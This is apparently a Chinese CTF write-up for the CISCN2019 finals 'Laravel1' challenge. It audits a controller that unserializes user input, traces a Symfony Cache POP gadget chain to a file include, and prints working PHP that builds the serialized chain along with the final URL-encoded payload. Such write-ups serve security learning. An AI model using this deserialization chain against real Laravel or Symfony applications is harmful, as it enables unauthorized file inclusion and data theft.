CISCN2019-总决赛-Day1-Web4-Laravel1

摘要
[CISCN2019 总决赛 Day1 Web4]Laravel1 php审计


#### 1.审计
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//backup in source.tar.gz
namespace App\Http\Controllers;
class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}

$payload=$request->input("payload"); 指可以提交payload参数,后面对payload进行反序列化

down源码审计:

找入口挺玄妙的,根据代码先找一些特殊的魔术方法

搜索destruct

image-20220118161243779

可以发现2019的一份日志中指向了一个类,也许算是提示……?不清楚

__destruct -> commit -> invalidateTags

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function invalidateTags(array $tags)
{
$ok = true;
$tagsByKey = [];
$invalidatedTags = [];
foreach ($tags as $tag) {
CacheItem::validateKey($tag);
$invalidatedTags[$tag] = 0;
}

if ($this->deferred) {
$items = $this->deferred;
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}

$f = $this->getTagsByKey;
$tagsByKey = $f($items);
$this->deferred = [];
}
...
}

$this->pool 可控, 这就使我们有机会控制 saveDeferred 函数

在大型项目中,接口作为开发的规范,不同的功能实现要求必须实现某些函数

大量同名函数的出现,扩大了攻击面,但要从中找到可能出现问题的那一个,…困难

PhpArrayAdapter.php 中的 saveDeferred

1
2
3
4
5
6
7
8
public function saveDeferred(CacheItemInterface $item)
{
if (null === $this->values) {
$this->initialize();
}

return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item);
}

initialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private function initialize()
{
if (!file_exists($this->file)) {
$this->keys = $this->values = [];

return;
}
$values = (include $this->file) ?: [[], []];

if (2 !== \count($values) || !isset($values[0], $values[1])) {
$this->keys = $this->values = [];
} else {
list($this->keys, $this->values) = $values;
}
}

$values = (include $this->file) ?: [[], []]; 这里发现了文件包含

2. 构造

大量复杂的命名空间也是难点之一, saveDeferred(CacheItemInterface $item) 要求传入一个接口的实现

调出接口的实现关系:

image-20220118162702481
1
2
3
4
5
6
7
8
namespace Symfony\Component\Cache;

***

final class CacheItem implements ItemInterface
{
***
}

现在可以构造pop链了,注意命名空间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

#这两个类都是在Symfony\Component\Cache\Adapter命名空间下的
#而Cacheitem类则不在同一个类下。所以我们得新建一个命名空间。并且use导入
// 不同的类需要正确设置命名空间

// defer
namespace Symfony\Component\Cache{
final class CacheItem{
}
}

// 构造
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file='/flag';
}
class TagAwareAdapter{
private $deferred;
private $pool;
public function __construct(){
$this->deferred = array('xxx' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$a=new TagAwareAdapter();
echo urlencode(serialize($a));
}

获取flag

1
?payload=O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A0%3A%7B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CPhpArrayAdapter%22%3A1%3A%7Bs%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CPhpArrayAdapter%00file%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D

参考文章:
https://guokeya.github.io/post/iG-_evz93/

作者

inanb

发布于

2022-01-18

更新于

2022-01-18

许可协议


:D 一言句子获取中...